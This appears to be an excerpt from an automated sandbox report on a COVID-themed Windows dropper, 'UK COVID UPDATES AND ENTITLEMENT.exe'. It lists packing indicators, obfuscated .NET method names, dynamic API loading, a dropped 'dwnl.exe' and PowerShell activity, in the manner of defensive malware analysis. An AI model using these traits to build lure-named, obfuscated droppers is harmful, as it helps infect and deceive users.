Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 25_2_002381A4 push eax; iretd
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 27_2_000E81A4 push eax; iretd
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_0040FCF0 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_006581A4 push eax; iretd
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142CF30 push es; ret
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0665EC58 pushad ; retf

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_00407D38 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,

Source: initial sample	Static PE information: section name: .text entropy: 7.82377359476
Source: initial sample	Static PE information: section name: .text entropy: 7.82377359476

Source: UK COVID UPDATES AND ENTITLEMENT.exe, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	High entropy of concatenated method names: '.cctor', 'TdY6t5IK5Mc4Q', 'hK65SCnqm1', 'Tfe5lO1BYF', 'WfQ5LBQWgc', 'bJP5QM1519', 'XGl5819WXH', 't535jZAwjI', 'tXd5yMQqed', 'kC15VuKHBh'
Source: UK COVID UPDATES AND ENTITLEMENT.exe, FWysowXedcGlC7xsw8/DdMQqerdCC1uKHBh4e.cs	High entropy of concatenated method names: 'UxGq2Xf85S', 'SAjqEko3mB', 'FSXqeN2cKj', '.ctor', 'QZEPIYgu3mLK6', '.cctor', 'OBMkI277SC1PCLgB71', 'DgcyhxOmSYwcQU2VWx', 'D3kJx6t22qIADH53FD', 'oPgdmdhGeJ67WJdrSg'
Source: UK COVID UPDATES AND ENTITLEMENT.exe, UKCRYPTED.Lists/BridgeOrderList.cs	High entropy of concatenated method names: '.ctor', 'vuwW3qTka', 'oeWgHhCDa', 'C5r3Dhemg', 'xK07h1B1Q', 'juDJOq9nn', 'SkZsNtK48', 'WGvZRDFvv85ifBdlXV', 'Ty64C47LtjIbP79QHn', 'XxFH2OuwUxmcU0t1hq'
Source: UK COVID UPDATES AND ENTITLEMENT.exe, UKCRYPTED.Objects/ConfigurationInitializerObject.cs	High entropy of concatenated method names: '.ctor', 'cn8DCltlx', 'F9VP4dCs3', 'Dispose', 'CueOFqteW', 'vQXTtwAQ5', 'xmem6gFTB', 'GLttTIXfI', 'Tla1xIYiC', 'ocjiNtwMs'
Source: UK COVID UPDATES AND ENTITLEMENT.exe, UKCRYPTED.Objects/Database.cs	High entropy of concatenated method names: 'RestartProcess', 'T2cj09F9o', 'z26yp2wWo', 'TQNVVK8Fu', 'bZHZMDaFh', 'UGpCdZt7V', 'DEsGynkIC', 'JmkBrSm5B', 'v6hMPXHmd', 'iqHqd3DlKKl2G4t9gO'
Source: UK COVID UPDATES AND ENTITLEMENT.exe, P18ALnjf71qn8Cltlx/QCkmkr8Sm5Bh6hPXHm.cs	High entropy of concatenated method names: '.ctor', 'cTJnbWPpY', 'MLAYocyxW', 'qNjbOvSTg', 'johdOOb56', 'gYwIwfEhN', 'NuaxrPqRd', 'QxO6VY7xf', 'RasAjmwXW', 'qTJU5QaHr'
Source: UK COVID UPDATES AND ENTITLEMENT.exe, fXtwAQV5gme6gFTBeL/F9V4dCys3rueFqteWh.cs	High entropy of concatenated method names: 'TgQ6t5IIcpB79', '.ctor', '.cctor', 'inuu2kABFtK0ghnyINo', 'zJP6gMA2D7HZh0wOHd1', 'Ep2oYXACBA99he2ZeEN', 'a4QYbmA4d9cdllwPB4L', 'T3eOqyAJoh4KBYQtqjb', 'Nytk3wApvTD33HCsiVH', 'TNKjLUASZ2ok42ny1Js'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	High entropy of concatenated method names: '.cctor', 'TdY6t5IK5Mc4Q', 'hK65SCnqm1', 'Tfe5lO1BYF', 'WfQ5LBQWgc', 'bJP5QM1519', 'XGl5819WXH', 't535jZAwjI', 'tXd5yMQqed', 'kC15VuKHBh'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, FWysowXedcGlC7xsw8/DdMQqerdCC1uKHBh4e.cs	High entropy of concatenated method names: 'UxGq2Xf85S', 'SAjqEko3mB', 'FSXqeN2cKj', '.ctor', 'QZEPIYgu3mLK6', '.cctor', 'OBMkI277SC1PCLgB71', 'DgcyhxOmSYwcQU2VWx', 'D3kJx6t22qIADH53FD', 'oPgdmdhGeJ67WJdrSg'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, UKCRYPTED.Lists/BridgeOrderList.cs	High entropy of concatenated method names: '.ctor', 'vuwW3qTka', 'oeWgHhCDa', 'C5r3Dhemg', 'xK07h1B1Q', 'juDJOq9nn', 'SkZsNtK48', 'WGvZRDFvv85ifBdlXV', 'Ty64C47LtjIbP79QHn', 'XxFH2OuwUxmcU0t1hq'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, UKCRYPTED.Objects/Database.cs	High entropy of concatenated method names: 'RestartProcess', 'T2cj09F9o', 'z26yp2wWo', 'TQNVVK8Fu', 'bZHZMDaFh', 'UGpCdZt7V', 'DEsGynkIC', 'JmkBrSm5B', 'v6hMPXHmd', 'iqHqd3DlKKl2G4t9gO'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, UKCRYPTED.Objects/ConfigurationInitializerObject.cs	High entropy of concatenated method names: '.ctor', 'cn8DCltlx', 'F9VP4dCs3', 'Dispose', 'CueOFqteW', 'vQXTtwAQ5', 'xmem6gFTB', 'GLttTIXfI', 'Tla1xIYiC', 'ocjiNtwMs'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, P18ALnjf71qn8Cltlx/QCkmkr8Sm5Bh6hPXHm.cs	High entropy of concatenated method names: '.ctor', 'cTJnbWPpY', 'MLAYocyxW', 'qNjbOvSTg', 'johdOOb56', 'gYwIwfEhN', 'NuaxrPqRd', 'QxO6VY7xf', 'RasAjmwXW', 'qTJU5QaHr'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, fXtwAQV5gme6gFTBeL/F9V4dCys3rueFqteWh.cs	High entropy of concatenated method names: 'TgQ6t5IIcpB79', '.ctor', '.cctor', 'inuu2kABFtK0ghnyINo', 'zJP6gMA2D7HZh0wOHd1', 'Ep2oYXACBA99he2ZeEN', 'a4QYbmA4d9cdllwPB4L', 'T3eOqyAJoh4KBYQtqjb', 'Nytk3wApvTD33HCsiVH', 'TNKjLUASZ2ok42ny1Js'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	High entropy of concatenated method names: '.cctor', 'TdY6t5IK5Mc4Q', 'hK65SCnqm1', 'Tfe5lO1BYF', 'WfQ5LBQWgc', 'bJP5QM1519', 'XGl5819WXH', 't535jZAwjI', 'tXd5yMQqed', 'kC15VuKHBh'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, FWysowXedcGlC7xsw8/DdMQqerdCC1uKHBh4e.cs	High entropy of concatenated method names: 'UxGq2Xf85S', 'SAjqEko3mB', 'FSXqeN2cKj', '.ctor', 'QZEPIYgu3mLK6', '.cctor', 'OBMkI277SC1PCLgB71', 'DgcyhxOmSYwcQU2VWx', 'D3kJx6t22qIADH53FD', 'oPgdmdhGeJ67WJdrSg'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, UKCRYPTED.Lists/BridgeOrderList.cs	High entropy of concatenated method names: '.ctor', 'vuwW3qTka', 'oeWgHhCDa', 'C5r3Dhemg', 'xK07h1B1Q', 'juDJOq9nn', 'SkZsNtK48', 'WGvZRDFvv85ifBdlXV', 'Ty64C47LtjIbP79QHn', 'XxFH2OuwUxmcU0t1hq'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, UKCRYPTED.Objects/ConfigurationInitializerObject.cs	High entropy of concatenated method names: '.ctor', 'cn8DCltlx', 'F9VP4dCs3', 'Dispose', 'CueOFqteW', 'vQXTtwAQ5', 'xmem6gFTB', 'GLttTIXfI', 'Tla1xIYiC', 'ocjiNtwMs'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, UKCRYPTED.Objects/Database.cs	High entropy of concatenated method names: 'RestartProcess', 'T2cj09F9o', 'z26yp2wWo', 'TQNVVK8Fu', 'bZHZMDaFh', 'UGpCdZt7V', 'DEsGynkIC', 'JmkBrSm5B', 'v6hMPXHmd', 'iqHqd3DlKKl2G4t9gO'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, fXtwAQV5gme6gFTBeL/F9V4dCys3rueFqteWh.cs	High entropy of concatenated method names: 'TgQ6t5IIcpB79', '.ctor', '.cctor', 'inuu2kABFtK0ghnyINo', 'zJP6gMA2D7HZh0wOHd1', 'Ep2oYXACBA99he2ZeEN', 'a4QYbmA4d9cdllwPB4L', 'T3eOqyAJoh4KBYQtqjb', 'Nytk3wApvTD33HCsiVH', 'TNKjLUASZ2ok42ny1Js'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, P18ALnjf71qn8Cltlx/QCkmkr8Sm5Bh6hPXHm.cs	High entropy of concatenated method names: '.ctor', 'cTJnbWPpY', 'MLAYocyxW', 'qNjbOvSTg', 'johdOOb56', 'gYwIwfEhN', 'NuaxrPqRd', 'QxO6VY7xf', 'RasAjmwXW', 'qTJU5QaHr'
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	High entropy of concatenated method names: '.cctor', 'TdY6t5IK5Mc4Q', 'hK65SCnqm1', 'Tfe5lO1BYF', 'WfQ5LBQWgc', 'bJP5QM1519', 'XGl5819WXH', 't535jZAwjI', 'tXd5yMQqed', 'kC15VuKHBh'
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, FWysowXedcGlC7xsw8/DdMQqerdCC1uKHBh4e.cs	High entropy of concatenated method names: 'UxGq2Xf85S', 'SAjqEko3mB', 'FSXqeN2cKj', '.ctor', 'QZEPIYgu3mLK6', '.cctor', 'OBMkI277SC1PCLgB71', 'DgcyhxOmSYwcQU2VWx', 'D3kJx6t22qIADH53FD', 'oPgdmdhGeJ67WJdrSg'
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, fXtwAQV5gme6gFTBeL/F9V4dCys3rueFqteWh.cs	High entropy of concatenated method names: 'TgQ6t5IIcpB79', '.ctor', '.cctor', 'inuu2kABFtK0ghnyINo', 'zJP6gMA2D7HZh0wOHd1', 'Ep2oYXACBA99he2ZeEN', 'a4QYbmA4d9cdllwPB4L', 'T3eOqyAJoh4KBYQtqjb', 'Nytk3wApvTD33HCsiVH', 'TNKjLUASZ2ok42ny1Js'
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, P18ALnjf71qn8Cltlx/QCkmkr8Sm5Bh6hPXHm.cs	High entropy of concatenated method names: '.ctor', 'cTJnbWPpY', 'MLAYocyxW', 'qNjbOvSTg', 'johdOOb56', 'gYwIwfEhN', 'NuaxrPqRd', 'QxO6VY7xf', 'RasAjmwXW', 'qTJU5QaHr'
Source: 22.2.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	High entropy of concatenated method names: '.cctor', 'TdY6t5IK5Mc4Q', 'hK65SCnqm1', 'Tfe5lO1BYF', 'WfQ5LBQWgc', 'bJP5QM1519', 'XGl5819WXH', 't535jZAwjI', 'tXd5yMQqed', 'kC15VuKHBh'
Source: 22.2.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, FWysowXedcGlC7xsw8/DdMQqerdCC1uKHBh4e.cs	High entropy of concatenated method names: 'UxGq2Xf85S', 'SAjqEko3mB', 'FSXqeN2cKj', '.ctor', 'QZEPIYgu3mLK6', '.cctor', 'OBMkI277SC1PCLgB71', 'DgcyhxOmSYwcQU2VWx', 'D3kJx6t22qIADH53FD', 'oPgdmdhGeJ67WJdrSg'
Source: 22.2.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, UKCRYPTED.Lists/BridgeOrderList.cs	High entropy of concatenated method names: '.ctor', 'vuwW3qTka', 'oeWgHhCDa', 'C5r3Dhemg', 'xK07h1B1Q', 'juDJOq9nn', 'SkZsNtK48', 'WGvZRDFvv85ifBdlXV', 'Ty64C47LtjIbP79QHn', 'XxFH2OuwUxmcU0t1hq'
Source: 22.2.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, UKCRYPTED.Objects/Database.cs	High entropy of concatenated method names: 'RestartProcess', 'T2cj09F9o', 'z26yp2wWo', 'TQNVVK8Fu', 'bZHZMDaFh', 'UGpCdZt7V', 'DEsGynkIC', 'JmkBrSm5B', 'v6hMPXHmd', 'iqHqd3DlKKl2G4t9gO'
Source: 22.2.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, fXtwAQV5gme6gFTBeL/F9V4dCys3rueFqteWh.cs	High entropy of concatenated method names: 'TgQ6t5IIcpB79', '.ctor', '.cctor', 'inuu2kABFtK0ghnyINo', 'zJP6gMA2D7HZh0wOHd1', 'Ep2oYXACBA99he2ZeEN', 'a4QYbmA4d9cdllwPB4L', 'T3eOqyAJoh4KBYQtqjb', 'Nytk3wApvTD33HCsiVH', 'TNKjLUASZ2ok42ny1Js'
Source: 22.2.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, UKCRYPTED.Objects/ConfigurationInitializerObject.cs	High entropy of concatenated method names: '.ctor', 'cn8DCltlx', 'F9VP4dCs3', 'Dispose', 'CueOFqteW', 'vQXTtwAQ5', 'xmem6gFTB', 'GLttTIXfI', 'Tla1xIYiC', 'ocjiNtwMs'
Source: 22.2.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, P18ALnjf71qn8Cltlx/QCkmkr8Sm5Bh6hPXHm.cs	High entropy of concatenated method names: '.ctor', 'cTJnbWPpY', 'MLAYocyxW', 'qNjbOvSTg', 'johdOOb56', 'gYwIwfEhN', 'NuaxrPqRd', 'QxO6VY7xf', 'RasAjmwXW', 'qTJU5QaHr'
Source: 22.0.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	High entropy of concatenated method names: '.cctor', 'TdY6t5IK5Mc4Q', 'hK65SCnqm1', 'Tfe5lO1BYF', 'WfQ5LBQWgc', 'bJP5QM1519', 'XGl5819WXH', 't535jZAwjI', 'tXd5yMQqed', 'kC15VuKHBh'
Source: 22.0.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, FWysowXedcGlC7xsw8/DdMQqerdCC1uKHBh4e.cs	High entropy of concatenated method names: 'UxGq2Xf85S', 'SAjqEko3mB', 'FSXqeN2cKj', '.ctor', 'QZEPIYgu3mLK6', '.cctor', 'OBMkI277SC1PCLgB71', 'DgcyhxOmSYwcQU2VWx', 'D3kJx6t22qIADH53FD', 'oPgdmdhGeJ67WJdrSg'
Source: 22.0.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, UKCRYPTED.Lists/BridgeOrderList.cs	High entropy of concatenated method names: '.ctor', 'vuwW3qTka', 'oeWgHhCDa', 'C5r3Dhemg', 'xK07h1B1Q', 'juDJOq9nn', 'SkZsNtK48', 'WGvZRDFvv85ifBdlXV', 'Ty64C47LtjIbP79QHn', 'XxFH2OuwUxmcU0t1hq'
Source: 22.0.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, UKCRYPTED.Objects/Database.cs	High entropy of concatenated method names: 'RestartProcess', 'T2cj09F9o', 'z26yp2wWo', 'TQNVVK8Fu', 'bZHZMDaFh', 'UGpCdZt7V', 'DEsGynkIC', 'JmkBrSm5B', 'v6hMPXHmd', 'iqHqd3DlKKl2G4t9gO'
Source: 22.0.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, UKCRYPTED.Objects/ConfigurationInitializerObject.cs	High entropy of concatenated method names: '.ctor', 'cn8DCltlx', 'F9VP4dCs3', 'Dispose', 'CueOFqteW', 'vQXTtwAQ5', 'xmem6gFTB', 'GLttTIXfI', 'Tla1xIYiC', 'ocjiNtwMs'
Source: 22.0.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, fXtwAQV5gme6gFTBeL/F9V4dCys3rueFqteWh.cs	High entropy of concatenated method names: 'TgQ6t5IIcpB79', '.ctor', '.cctor', 'inuu2kABFtK0ghnyINo', 'zJP6gMA2D7HZh0wOHd1', 'Ep2oYXACBA99he2ZeEN', 'a4QYbmA4d9cdllwPB4L', 'T3eOqyAJoh4KBYQtqjb', 'Nytk3wApvTD33HCsiVH', 'TNKjLUASZ2ok42ny1Js'
Source: 22.0.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, P18ALnjf71qn8Cltlx/QCkmkr8Sm5Bh6hPXHm.cs	High entropy of concatenated method names: '.ctor', 'cTJnbWPpY', 'MLAYocyxW', 'qNjbOvSTg', 'johdOOb56', 'gYwIwfEhN', 'NuaxrPqRd', 'QxO6VY7xf', 'RasAjmwXW', 'qTJU5QaHr'
Source: 23.0.UK COVID UPDATES AND ENTITLEMENT.exe.220000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	High entropy of concatenated method names: '.cctor', 'TdY6t5IK5Mc4Q', 'hK65SCnqm1', 'Tfe5lO1BYF', 'WfQ5LBQWgc', 'bJP5QM1519', 'XGl5819WXH', 't535jZAwjI', 'tXd5yMQqed', 'kC15VuKHBh'
Source: 23.0.UK COVID UPDATES AND ENTITLEMENT.exe.220000.0.unpack, FWysowXedcGlC7xsw8/DdMQqerdCC1uKHBh4e.cs	High entropy of concatenated method names: 'UxGq2Xf85S', 'SAjqEko3mB', 'FSXqeN2cKj', '.ctor', 'QZEPIYgu3mLK6', '.cctor', 'OBMkI277SC1PCLgB71', 'DgcyhxOmSYwcQU2VWx', 'D3kJx6t22qIADH53FD', 'oPgdmdhGeJ67WJdrSg'
Source: 23.0.UK COVID UPDATES AND ENTITLEMENT.exe.220000.0.unpack, UKCRYPTED.Lists/BridgeOrderList.cs	High entropy of concatenated method names: '.ctor', 'vuwW3qTka', 'oeWgHhCDa', 'C5r3Dhemg', 'xK07h1B1Q', 'juDJOq9nn', 'SkZsNtK48', 'WGvZRDFvv85ifBdlXV', 'Ty64C47LtjIbP79QHn', 'XxFH2OuwUxmcU0t1hq'
Source: 23.0.UK COVID UPDATES AND ENTITLEMENT.exe.220000.0.unpack, UKCRYPTED.Objects/ConfigurationInitializerObject.cs	High entropy of concatenated method names: '.ctor', 'cn8DCltlx', 'F9VP4dCs3', 'Dispose', 'CueOFqteW', 'vQXTtwAQ5', 'xmem6gFTB', 'GLttTIXfI', 'Tla1xIYiC', 'ocjiNtwMs'
Source: 23.0.UK COVID UPDATES AND ENTITLEMENT.exe.220000.0.unpack, UKCRYPTED.Objects/Database.cs	High entropy of concatenated method names: 'RestartProcess', 'T2cj09F9o', 'z26yp2wWo', 'TQNVVK8Fu', 'bZHZMDaFh', 'UGpCdZt7V', 'DEsGynkIC', 'JmkBrSm5B', 'v6hMPXHmd', 'iqHqd3DlKKl2G4t9gO'
Source: 23.0.UK COVID UPDATES AND ENTITLEMENT.exe.220000.0.unpack, fXtwAQV5gme6gFTBeL/F9V4dCys3rueFqteWh.cs	High entropy of concatenated method names: 'TgQ6t5IIcpB79', '.ctor', '.cctor', 'inuu2kABFtK0ghnyINo', 'zJP6gMA2D7HZh0wOHd1', 'Ep2oYXACBA99he2ZeEN', 'a4QYbmA4d9cdllwPB4L', 'T3eOqyAJoh4KBYQtqjb', 'Nytk3wApvTD33HCsiVH', 'TNKjLUASZ2ok42ny1Js'
Source: 23.0.UK COVID UPDATES AND ENTITLEMENT.exe.220000.0.unpack, P18ALnjf71qn8Cltlx/QCkmkr8Sm5Bh6hPXHm.cs	High entropy of concatenated method names: '.ctor', 'cTJnbWPpY', 'MLAYocyxW', 'qNjbOvSTg', 'johdOOb56', 'gYwIwfEhN', 'NuaxrPqRd', 'QxO6VY7xf', 'RasAjmwXW', 'qTJU5QaHr'

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	File created: C:\Users\user\AppData\Local\Temp\dwnl.exe			Jump to dropped file
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	File created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
